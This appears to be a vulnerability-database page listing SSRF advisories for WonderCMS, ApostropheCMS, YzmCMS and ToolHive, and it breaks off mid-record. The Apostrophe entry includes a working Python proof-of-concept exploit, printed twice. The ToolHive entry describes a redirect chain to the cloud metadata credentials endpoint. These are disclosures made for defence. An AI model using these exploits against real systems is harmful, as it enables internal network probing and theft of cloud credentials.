Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4654 vulnerabilities reference this CWE, most recent first.

GHSA-PQMV-6W3C-FGQ2

Vulnerability from github – Published: 2024-07-30 18:32 – Updated: 2024-08-01 15:32
VLAI
Details

A Server-Side Request Forgery (SSRF) in the Plugins Page of WonderCMS v3.4.3 allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the pluginThemeUrl parameter.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-41305"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-352",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-30T18:15:05Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the Plugins Page of WonderCMS v3.4.3 allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the pluginThemeUrl parameter.",
  "id": "GHSA-pqmv-6w3c-fgq2",
  "modified": "2024-08-01T15:32:15Z",
  "published": "2024-07-30T18:32:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-41305"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patrickdeanramos/WonderCMS-version-3.4.3-is-vulnerable-to-Server-Side-Request-Forgery"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PR28-MF3Q-QPG6

Vulnerability from github – Published: 2026-05-14 18:26 – Updated: 2026-06-12 22:02
VLAI
Summary
Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget
Details

Summary

ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.

Details

The vulnerable flow is in the rich-text widget sanitizer: - packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js - packages/apostrophe/modules/@apostrophecms/area/index.js - packages/apostrophe/modules/@apostrophecms/widget-type/index.js

Relevant behavior: 1. The backend accepts a widget payload containing import.html. 2. It parses <img src=...> values from that HTML. 3. For each image, it resolves the URL with: - new URL(src, input.import.baseUrl || self.apos.baseUrl) 4. It then performs a server-side fetch(url). 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.

This is reachable during widget validation through: - POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft

PoC

  1. Start a local HTTP server with a valid PNG:
     mkdir -p /tmp/apos-poc
     base64 -d > /tmp/apos-poc/secret.png <<'EOF'
     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=
     EOF
     cd /tmp/apos-poc && python3 -m http.server 7777 --bind 127.0.0.1
  1. Run the following Python PoC:
#!/usr/bin/env python3
import argparse
import json
import sys
from urllib.parse import urljoin

import requests


def login(base_url: str, username: str, password: str) -> str:
    url = urljoin(base_url, "/api/v1/@apostrophecms/login/login")
    r = requests.post(
        url,
        json={
            "username": username,
            "password": password
        },
        timeout=20
    )
    r.raise_for_status()
    data = r.json()
    token = data.get("token")
    if not token:
      raise RuntimeError(f"Login succeeded but no token was returned: {data}")
    return token


def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict:
    url = urljoin(
        base_url,
        "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft"
    )
    payload = {
        "areaFieldId": area_field_id,
        "type": "@apostrophecms/rich-text",
        "widget": {
            "type": "@apostrophecms/rich-text",
            "content": "<p>seed</p>",
            "import": {
                "html": f'<img src="{target_url}">',
                "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url
            }
        }
    }
    r = requests.post(
        url,
        headers={
            "Authorization": f"Bearer {token}",
            "Accept": "application/json"
        },
        json=payload,
        timeout=30
    )
    r.raise_for_status()
    return r.json()


def main() -> int:
    parser = argparse.ArgumentParser(
        description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import."
    )
    parser.add_argument("--base-url", default="http://127.0.0.1:3000")
    parser.add_argument("--username", default="admin")
    parser.add_argument("--password", default="admin123")
    parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add")
    parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png")
    parser.add_argument(
        "--fetch-image",
        action="store_true",
        help="Fetch the generated Apostrophe image URL after exploitation."
    )
    args = parser.parse_args()

    try:
        token = login(args.base_url, args.username, args.password)
        result = trigger(args.base_url, token, args.area_field_id, args.target_url)
    except Exception as exc:
        print(f"[!] Exploit failed: {exc}", file=sys.stderr)
        return 1

    print("[+] Login OK")
    print(f"[+] Bearer token: {token}")
    print("[+] Exploit response:")
    print(json.dumps(result, indent=2))

    widget = result.get("widget") or {}
    image_ids = widget.get("imageIds") or []
    if not image_ids:
        print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.")
        return 0

    image_id = image_ids[0]
    image_path = f"/api/v1/@apostrophecms/image/{image_id}/src"
    image_url = urljoin(args.base_url, image_path)
    print(f"[+] Generated image id: {image_id}")
    print(f"[+] Generated image URL: {image_url}")

    if args.fetch_image:
        r = requests.get(image_url, allow_redirects=True, timeout=30)
        print(f"[+] Final fetch status: {r.status_code}")
        print(f"[+] Final URL: {r.url}")
        print(f"[+] Retrieved bytes: {len(r.content)}")

    return 0


if __name__ == "__main__":
    raise SystemExit(main())
  1. Example usage:
     python3 poc.py \
       --base-url http://127.0.0.1:3000 \
       --username admin \
       --password admin123 \
       --area-field-id cd4f89f5b834d0036f3867f1507a8add \
       --target-url http://127.0.0.1:7777/secret.png \
       --fetch-image
  1. Expected result:
    • The local listener receives: GET /secret.png HTTP/1.1
    • The API response includes a rewritten Apostrophe image URL and imageIds.
    • The generated image URL can then be fetched through the application.

Additional note:

  • If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.

Impact

An authenticated user with permission to submit or edit rich-text widget content can: - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.) - perform blind or semi-blind internal port and service discovery - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:26:45Z",
    "nvd_published_at": "2026-06-12T21:16:22Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration.\n\n### Details\n  The vulnerable flow is in the rich-text widget sanitizer:\n  - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/area/index.js`\n  - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js`\n\nRelevant behavior:\n  1. The backend accepts a widget payload containing `import.html`.\n  2. It parses `\u003cimg src=...\u003e` values from that HTML.\n  3. For each image, it resolves the URL with:\n     - `new URL(src, input.import.baseUrl || self.apos.baseUrl)`\n  4. It then performs a server-side `fetch(url)`.\n  5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic.\n\n  This is reachable during widget validation through:\n  - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft`\n\n\n### PoC\n 1. Start a local HTTP server with a valid PNG:\n```bash\n     mkdir -p /tmp/apos-poc\n     base64 -d \u003e /tmp/apos-poc/secret.png \u003c\u003c\u0027EOF\u0027\n     iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/x8AAwMCAO+y1n0AAAAASUVORK5CYII=\n     EOF\n     cd /tmp/apos-poc \u0026\u0026 python3 -m http.server 7777 --bind 127.0.0.1\n```\n2. Run the following Python PoC:\n```python\n#!/usr/bin/env python3\nimport argparse\nimport json\nimport sys\nfrom urllib.parse import urljoin\n\nimport requests\n\n\ndef login(base_url: str, username: str, password: str) -\u003e str:\n    url = urljoin(base_url, \"/api/v1/@apostrophecms/login/login\")\n    r = requests.post(\n        url,\n        json={\n            \"username\": username,\n            \"password\": password\n        },\n        timeout=20\n    )\n    r.raise_for_status()\n    data = r.json()\n    token = data.get(\"token\")\n    if not token:\n      raise RuntimeError(f\"Login succeeded but no token was returned: {data}\")\n    return token\n\n\ndef trigger(base_url: str, token: str, area_field_id: str, target_url: str) -\u003e dict:\n    url = urljoin(\n        base_url,\n        \"/api/v1/@apostrophecms/area/validate-widget?aposMode=draft\"\n    )\n    payload = {\n        \"areaFieldId\": area_field_id,\n        \"type\": \"@apostrophecms/rich-text\",\n        \"widget\": {\n            \"type\": \"@apostrophecms/rich-text\",\n            \"content\": \"\u003cp\u003eseed\u003c/p\u003e\",\n            \"import\": {\n                \"html\": f\u0027\u003cimg src=\"{target_url}\"\u003e\u0027,\n                \"baseUrl\": target_url.rsplit(\"/\", 1)[0] if \"/\" in target_url else target_url\n            }\n        }\n    }\n    r = requests.post(\n        url,\n        headers={\n            \"Authorization\": f\"Bearer {token}\",\n            \"Accept\": \"application/json\"\n        },\n        json=payload,\n        timeout=30\n    )\n    r.raise_for_status()\n    return r.json()\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser(\n        description=\"Authenticated ApostropheCMS SSRF PoC via rich-text widget import.\"\n    )\n    parser.add_argument(\"--base-url\", default=\"http://127.0.0.1:3000\")\n    parser.add_argument(\"--username\", default=\"admin\")\n    parser.add_argument(\"--password\", default=\"admin123\")\n    parser.add_argument(\"--area-field-id\", default=\"cd4f89f5b834d0036f3867f1507a8add\")\n    parser.add_argument(\"--target-url\", default=\"http://127.0.0.1:7777/secret.png\")\n    parser.add_argument(\n        \"--fetch-image\",\n        action=\"store_true\",\n        help=\"Fetch the generated Apostrophe image URL after exploitation.\"\n    )\n    args = parser.parse_args()\n\n    try:\n        token = login(args.base_url, args.username, args.password)\n        result = trigger(args.base_url, token, args.area_field_id, args.target_url)\n    except Exception as exc:\n        print(f\"[!] Exploit failed: {exc}\", file=sys.stderr)\n        return 1\n\n    print(\"[+] Login OK\")\n    print(f\"[+] Bearer token: {token}\")\n    print(\"[+] Exploit response:\")\n    print(json.dumps(result, indent=2))\n\n    widget = result.get(\"widget\") or {}\n    image_ids = widget.get(\"imageIds\") or []\n    if not image_ids:\n        print(\"[-] No imageIds returned. Target may have been fetched but not persisted as an image.\")\n        return 0\n\n    image_id = image_ids[0]\n    image_path = f\"/api/v1/@apostrophecms/image/{image_id}/src\"\n    image_url = urljoin(args.base_url, image_path)\n    print(f\"[+] Generated image id: {image_id}\")\n    print(f\"[+] Generated image URL: {image_url}\")\n\n    if args.fetch_image:\n        r = requests.get(image_url, allow_redirects=True, timeout=30)\n        print(f\"[+] Final fetch status: {r.status_code}\")\n        print(f\"[+] Final URL: {r.url}\")\n        print(f\"[+] Retrieved bytes: {len(r.content)}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```\n3. Example usage:\n```bash\n     python3 poc.py \\\n       --base-url http://127.0.0.1:3000 \\\n       --username admin \\\n       --password admin123 \\\n       --area-field-id cd4f89f5b834d0036f3867f1507a8add \\\n       --target-url http://127.0.0.1:7777/secret.png \\\n       --fetch-image\n```\n  4. Expected result:\n      - The local listener receives:\n        GET /secret.png HTTP/1.1\n      - The API response includes a rewritten Apostrophe image URL and imageIds.\n      - The generated image URL can then be fetched through the application.\n\nAdditional note:\n\n  - If the target returns non-image content such as secret.txt, the SSRF still occurs, but later image processing can fail. This still allows blind or semi-blind SSRF behavior useful for internal reachability checks and rough port enumeration.\n\n### Impact\nAn authenticated user with permission to submit or edit rich-text widget content can:\n  - trigger server-side requests to internal services (127.0.0.1, private subnets, etc.)\n  - perform blind or semi-blind internal port and service discovery\n  - exfiltrate image-compatible responses because Apostrophe stores and re-hosts the fetched content",
  "id": "GHSA-pr28-mf3q-qpg6",
  "modified": "2026-06-12T22:02:09Z",
  "published": "2026-05-14T18:26:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-pr28-mf3q-qpg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45012"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget"
}

GHSA-PR35-RJRP-XW73

Vulnerability from github – Published: 2022-05-24 19:03 – Updated: 2022-05-24 19:03
VLAI
Details

An issue was discovered in YzmCMS 5.8. There is a SSRF vulnerability in the background collection management that allows arbitrary file read.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-35970"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-06-03T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in YzmCMS 5.8. There is a SSRF vulnerability in the background collection management that allows arbitrary file read.",
  "id": "GHSA-pr35-rjrp-xw73",
  "modified": "2022-05-24T19:03:57Z",
  "published": "2022-05-24T19:03:57Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yzmcms/yzmcms/issues/53"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-PR64-JMMF-JP54

Vulnerability from github – Published: 2026-07-15 23:41 – Updated: 2026-07-15 23:41
VLAI
Summary
ToolHive: SSRF in remote MCP server authentication discovery (host-side, bypasses container isolation)
Details

Security Advisory: SSRF in remote MCP server authentication discovery

Severity: High. CWE: CWE-918. Affected: ToolHive through the latest release v0.29.3 and current main (HEAD b672d82f, 2026-06-12; re-verified 2026-06-14). FetchResourceMetadata and the discovery clients remain unguarded; no commits to pkg/auth/discovery or pkg/auth/remote address this. Originally identified at commit 05f11b53; all line references below are against HEAD b672d82f.

Summary

ToolHive's remote MCP server authentication discovery issues outbound HTTP requests to URLs the remote MCP server controls, with no private-IP or loopback guard and no restriction on redirects. ToolHive's core security model treats every MCP server as untrusted: the README states it "runs every MCP server in an isolated container" with "no local credentials," and it ships an egress proxy for network isolation. This discovery code runs host-side, in the ToolHive process, before and outside that per-server container sandbox. A malicious or compromised remote MCP server, added by a user through ToolHive's normal remote-server workflow, can therefore drive the ToolHive host itself to fetch arbitrary internal URLs, including cloud instance metadata, which bypasses the isolation ToolHive exists to provide. The user never selects a malicious target; they connect to a server they intend to use, and the attack is carried entirely in that server's discovery response.

ToolHive already establishes this boundary in code. ValidateRemoteURL (cmd/thv-operator/pkg/validation/url_validation.go:61) rejects internal IPs and known internal hostnames for the configured remote URL, and IsPrivateIP (pkg/networking/utilities.go:105) blocks RFC1918, link-local, 169.254.0.0/16, and loopback for outbound requests. The discovery clients below never call either guard, and the attacker-supplied resource_metadata URL and its redirect target are validated by neither. This is a deviation from the project's intended behavior, not a configuration choice by the operator.

The discovery clients are explicitly marked as trusted

The three outbound requests in this finding carry the maintainers' own gosec suppressions, each with a rationale comment asserting the URL is trusted:

  • discovery.go:165 -- resp, err := client.Do(req) // #nosec G704 -- targetURI is the MCP server endpoint URL from internal config
  • discovery.go:219 -- resp, err := client.Do(req) // #nosec G704 -- uri is built from the MCP server endpoint for auth discovery
  • discovery.go:931 -- resp, err := client.Do(req) // #nosec G704 -- URL is the OIDC well-known metadata endpoint

gosec's G704 is its SSRF taint-analysis rule: it flags exactly this pattern, an HTTP request whose URL flows from external input. The suppressions dismiss it on the premise that the URL comes "from internal config" or is "the MCP server endpoint." That premise is the bug. The targetURI is the remote MCP server endpoint, and the resource_metadata URL at line 931 comes straight from the server's WWW-Authenticate header (parsed by ParseWWWAuthenticate, discovery.go:293; resource_metadata extracted at discovery.go:315). Under ToolHive's own threat model the remote MCP server is untrusted, so "the MCP server endpoint" is attacker-controlled input, not internal config. A parallel cluster of //nolint:gosec // G706 (log-injection) suppressions on the same discovery responses (discovery.go:212, 221, 240, 268, 273, 280) shows the same data being treated as trusted throughout this code path. The maintainers saw the taint-analysis warning on these requests and waved it through on a trust assumption that contradicts the project's design.

Relationship to existing reports

This is distinct from issue #5135 (DCR resolver SSRF). #5135 is scoped to the DCR registration client, which already refuses redirects: client.CheckRedirect = errDCRRedirectRefused (pkg/auth/dcr/resolver.go:1281), with an in-code comment explaining that the wrapping client "refuses to follow HTTP redirects ... never for a redirected request whose URL the upstream chose" (resolver.go:1240). The discovery sinks below set no CheckRedirect and no private-IP guard, and are reached by a different path (the WWW-Authenticate resource_metadata discovery and the OIDC issuer discovery). The project demonstrably understands that redirect-following to an upstream-chosen URL is dangerous and guarded the DCR client against it; it left the discovery clients open. Fixing #5135 does not address them.

This is also distinct from GHSA-pph6-vfjv-vpjw (published 2026-06-04), which reports that the IsPrivateIP guard itself misses the IPv6 NAT64 ranges and so requires a NAT64/DNS64 gateway to reach internal addresses. The finding here does not depend on that guard's completeness: the discovery clients never call IsPrivateIP at all, so the host fetches 169.254.169.254 directly on any deployment, with no NAT64 dependency, and additionally follows redirects. The NAT64 fix to IsPrivateIP does not protect these clients because they do not use the guard.

Details

  1. remote.Handler.Authenticate calls discovery.DetectAuthenticationFromServer (pkg/auth/remote/handler.go:62), which issues a GET to the remote URL (client built at discovery.go:93 with no CheckRedirect; request at discovery.go:165).
  2. A 401 with WWW-Authenticate: Bearer ... resource_metadata="<url>" is parsed by ParseWWWAuthenticate (discovery.go:293), and the server-supplied resource_metadata value is stored (discovery.go:315).
  3. tryDiscoverFromResourceMetadata calls FetchResourceMetadata (handler.go:411, discovery.go:899). That client is built with no CheckRedirect and no private-IP dialer guard (discovery.go:916) and issues client.Do(GET <attacker url>) (discovery.go:931). FetchResourceMetadata requires the initial metadata URL to use HTTPS (discovery.go:911), but that check runs once on the supplied URL only; the client then follows the 302 Location to any scheme and any address with no re-validation.
  4. The OIDC issuer discovery path (.well-known/openid-configuration, .well-known/oauth-authorization-server) and the well-known existence probe (discovery.go:219) use the same unguarded client pattern.

Proof of concept (reproduced; recording available)

The attacker is the remote MCP server, not a URL the victim chooses. The victim connects to a server they intend to use (from a registry, a shared config, or a previously-legitimate endpoint that was later compromised) and the entire attack lives in that server's discovery response.

  1. A remote MCP server the victim has added responds to discovery with 401 WWW-Authenticate: Bearer realm="x", resource_metadata="https://<server>/.well-known/oauth-protected-resource" (HTTPS, so it passes the discovery.go:911 scheme check), and returns 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role> for that metadata URL. In the recording a loopback mock instance-metadata service stands in for 169.254.169.254 to avoid touching a real cloud account; the ToolHive code path is identical on a cloud instance, where the same redirect reaches the real metadata endpoint with no extra precondition.
  2. The victim runs that server the normal way: thv run <remote-mcp-server> --remote-auth. ToolHive performs the auth discovery automatically; the victim never targets an internal address.
  3. Observed: ToolHive's host process fetches the server-supplied resource_metadata URL and follows the 302 to the internal metadata path with no address filtering. The mock instance-metadata service received the request from ToolHive's Go HTTP client (Go-http-client/1.1) and returned a Metadata-Flavor header with IAM credentials, confirming the host follows the server-controlled redirect to an internal endpoint. The proven primitive is "the ToolHive host issues a GET to a server-controlled internal address and follows redirects with no filtering." On an instance with AWS IMDSv1 enabled that primitive returns IAM credentials directly, since IMDSv1 answers a plain GET. IMDSv2 (token via PUT plus a header) and GCP (Metadata-Flavor header) are not reachable by a redirect-following GET, so on those the reachable impact is the broader internal-GET surface: internal-only HTTP services, IMDSv1 where still enabled, link-local and RFC1918 endpoints, and reachability or error oracles.

Impact

A remote MCP server forces the host to issue arbitrary internal GET requests with redirect following and no address filtering. The host-side reach is the proven impact: internal-only services not exposed to the network, link-local and RFC1918 endpoints, and reachability or error oracles. On instances with AWS IMDSv1 enabled the request to 169.254.169.254 returns IAM credentials directly. Because the discovery runs in the host process and not in the per-server container, this is exactly the reach that the MCP server's own container sandbox is designed to deny.

Suggested fix

Apply the DCR client's hardening to the discovery clients: set CheckRedirect to reject cross-host or scheme-downgrade redirects, and wrap DialContext with the project's existing IsPrivateIP guard (pkg/networking/utilities.go:105) for FetchResourceMetadata, DetectAuthenticationFromServer, and the issuer-discovery client. Re-validating the redirect target, not only the initial URL, is the load-bearing part: the discovery.go:911 HTTPS check is bypassed by a 302 from an HTTPS metadata URL to an internal http address.

Verification status

The resource_metadata path was dynamically reproduced with a recording (against commit 05f11b53; the sink code at HEAD b672d82f is source-identical, with the unguarded clients and the three #nosec G704 suppressions confirmed present). The OIDC issuer discovery path is confirmed by source review against the same unguarded client and is in scope of the same fix.

Severity
4.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N
2.9 (Low)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/stacklok/toolhive"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-58196"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-15T23:41:21Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "# Security Advisory: SSRF in remote MCP server authentication discovery\n\n**Severity:** High. **CWE:** CWE-918. **Affected:** ToolHive through the latest release v0.29.3 and current `main` (HEAD b672d82f, 2026-06-12; re-verified 2026-06-14). `FetchResourceMetadata` and the discovery clients remain unguarded; no commits to `pkg/auth/discovery` or `pkg/auth/remote` address this. Originally identified at commit 05f11b53; all line references below are against HEAD b672d82f.\n\n## Summary\nToolHive\u0027s remote MCP server authentication discovery issues outbound HTTP requests to URLs the remote MCP server controls, with no private-IP or loopback guard and no restriction on redirects. ToolHive\u0027s core security model treats every MCP server as untrusted: the README states it \"runs every MCP server in an isolated container\" with \"no local credentials,\" and it ships an egress proxy for network isolation. This discovery code runs host-side, in the ToolHive process, before and outside that per-server container sandbox. A malicious or compromised remote MCP server, added by a user through ToolHive\u0027s normal remote-server workflow, can therefore drive the ToolHive host itself to fetch arbitrary internal URLs, including cloud instance metadata, which bypasses the isolation ToolHive exists to provide. The user never selects a malicious target; they connect to a server they intend to use, and the attack is carried entirely in that server\u0027s discovery response.\n\nToolHive already establishes this boundary in code. `ValidateRemoteURL` (cmd/thv-operator/pkg/validation/url_validation.go:61) rejects internal IPs and known internal hostnames for the configured remote URL, and `IsPrivateIP` (pkg/networking/utilities.go:105) blocks RFC1918, link-local, `169.254.0.0/16`, and loopback for outbound requests. The discovery clients below never call either guard, and the attacker-supplied resource_metadata URL and its redirect target are validated by neither. This is a deviation from the project\u0027s intended behavior, not a configuration choice by the operator.\n\n## The discovery clients are explicitly marked as trusted\nThe three outbound requests in this finding carry the maintainers\u0027 own gosec suppressions, each with a rationale comment asserting the URL is trusted:\n\n- `discovery.go:165` -- `resp, err := client.Do(req) // #nosec G704 -- targetURI is the MCP server endpoint URL from internal config`\n- `discovery.go:219` -- `resp, err := client.Do(req) // #nosec G704 -- uri is built from the MCP server endpoint for auth discovery`\n- `discovery.go:931` -- `resp, err := client.Do(req) // #nosec G704 -- URL is the OIDC well-known metadata endpoint`\n\ngosec\u0027s G704 is its SSRF taint-analysis rule: it flags exactly this pattern, an HTTP request whose URL flows from external input. The suppressions dismiss it on the premise that the URL comes \"from internal config\" or is \"the MCP server endpoint.\" That premise is the bug. The targetURI is the remote MCP server endpoint, and the resource_metadata URL at line 931 comes straight from the server\u0027s `WWW-Authenticate` header (parsed by `ParseWWWAuthenticate`, discovery.go:293; `resource_metadata` extracted at discovery.go:315). Under ToolHive\u0027s own threat model the remote MCP server is untrusted, so \"the MCP server endpoint\" is attacker-controlled input, not internal config. A parallel cluster of `//nolint:gosec // G706` (log-injection) suppressions on the same discovery responses (discovery.go:212, 221, 240, 268, 273, 280) shows the same data being treated as trusted throughout this code path. The maintainers saw the taint-analysis warning on these requests and waved it through on a trust assumption that contradicts the project\u0027s design.\n\n## Relationship to existing reports\nThis is distinct from issue #5135 (DCR resolver SSRF). #5135 is scoped to the DCR registration client, which already refuses redirects: `client.CheckRedirect = errDCRRedirectRefused` (pkg/auth/dcr/resolver.go:1281), with an in-code comment explaining that the wrapping client \"refuses to follow HTTP redirects ... never for a redirected request whose URL the upstream chose\" (resolver.go:1240). The discovery sinks below set no `CheckRedirect` and no private-IP guard, and are reached by a different path (the `WWW-Authenticate` resource_metadata discovery and the OIDC issuer discovery). The project demonstrably understands that redirect-following to an upstream-chosen URL is dangerous and guarded the DCR client against it; it left the discovery clients open. Fixing #5135 does not address them.\n\nThis is also distinct from GHSA-pph6-vfjv-vpjw (published 2026-06-04), which reports that the `IsPrivateIP` guard itself misses the IPv6 NAT64 ranges and so requires a NAT64/DNS64 gateway to reach internal addresses. The finding here does not depend on that guard\u0027s completeness: the discovery clients never call `IsPrivateIP` at all, so the host fetches `169.254.169.254` directly on any deployment, with no NAT64 dependency, and additionally follows redirects. The NAT64 fix to `IsPrivateIP` does not protect these clients because they do not use the guard.\n\n## Details\n1. `remote.Handler.Authenticate` calls `discovery.DetectAuthenticationFromServer` (pkg/auth/remote/handler.go:62), which issues a GET to the remote URL (client built at discovery.go:93 with no `CheckRedirect`; request at discovery.go:165).\n2. A `401` with `WWW-Authenticate: Bearer ... resource_metadata=\"\u003curl\u003e\"` is parsed by `ParseWWWAuthenticate` (discovery.go:293), and the server-supplied `resource_metadata` value is stored (discovery.go:315).\n3. `tryDiscoverFromResourceMetadata` calls `FetchResourceMetadata` (handler.go:411, discovery.go:899). That client is built with no `CheckRedirect` and no private-IP dialer guard (discovery.go:916) and issues `client.Do(GET \u003cattacker url\u003e)` (discovery.go:931). `FetchResourceMetadata` requires the initial metadata URL to use HTTPS (discovery.go:911), but that check runs once on the supplied URL only; the client then follows the `302 Location` to any scheme and any address with no re-validation.\n4. The OIDC issuer discovery path (`.well-known/openid-configuration`, `.well-known/oauth-authorization-server`) and the well-known existence probe (discovery.go:219) use the same unguarded client pattern.\n\n## Proof of concept (reproduced; recording available)\nThe attacker is the remote MCP server, not a URL the victim chooses. The victim connects to a server they intend to use (from a registry, a shared config, or a previously-legitimate endpoint that was later compromised) and the entire attack lives in that server\u0027s discovery response.\n\n1. A remote MCP server the victim has added responds to discovery with `401 WWW-Authenticate: Bearer realm=\"x\", resource_metadata=\"https://\u003cserver\u003e/.well-known/oauth-protected-resource\"` (HTTPS, so it passes the discovery.go:911 scheme check), and returns `302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/\u003crole\u003e` for that metadata URL. In the recording a loopback mock instance-metadata service stands in for `169.254.169.254` to avoid touching a real cloud account; the ToolHive code path is identical on a cloud instance, where the same redirect reaches the real metadata endpoint with no extra precondition.\n2. The victim runs that server the normal way: `thv run \u003cremote-mcp-server\u003e --remote-auth`. ToolHive performs the auth discovery automatically; the victim never targets an internal address.\n3. Observed: ToolHive\u0027s host process fetches the server-supplied resource_metadata URL and follows the `302` to the internal metadata path with no address filtering. The mock instance-metadata service received the request from ToolHive\u0027s Go HTTP client (`Go-http-client/1.1`) and returned a `Metadata-Flavor` header with IAM credentials, confirming the host follows the server-controlled redirect to an internal endpoint. The proven primitive is \"the ToolHive host issues a GET to a server-controlled internal address and follows redirects with no filtering.\" On an instance with AWS IMDSv1 enabled that primitive returns IAM credentials directly, since IMDSv1 answers a plain GET. IMDSv2 (token via `PUT` plus a header) and GCP (`Metadata-Flavor` header) are not reachable by a redirect-following GET, so on those the reachable impact is the broader internal-GET surface: internal-only HTTP services, IMDSv1 where still enabled, link-local and RFC1918 endpoints, and reachability or error oracles.\n\n## Impact\nA remote MCP server forces the host to issue arbitrary internal GET requests with redirect following and no address filtering. The host-side reach is the proven impact: internal-only services not exposed to the network, link-local and RFC1918 endpoints, and reachability or error oracles. On instances with AWS IMDSv1 enabled the request to `169.254.169.254` returns IAM credentials directly. Because the discovery runs in the host process and not in the per-server container, this is exactly the reach that the MCP server\u0027s own container sandbox is designed to deny.\n\n## Suggested fix\nApply the DCR client\u0027s hardening to the discovery clients: set `CheckRedirect` to reject cross-host or scheme-downgrade redirects, and wrap `DialContext` with the project\u0027s existing `IsPrivateIP` guard 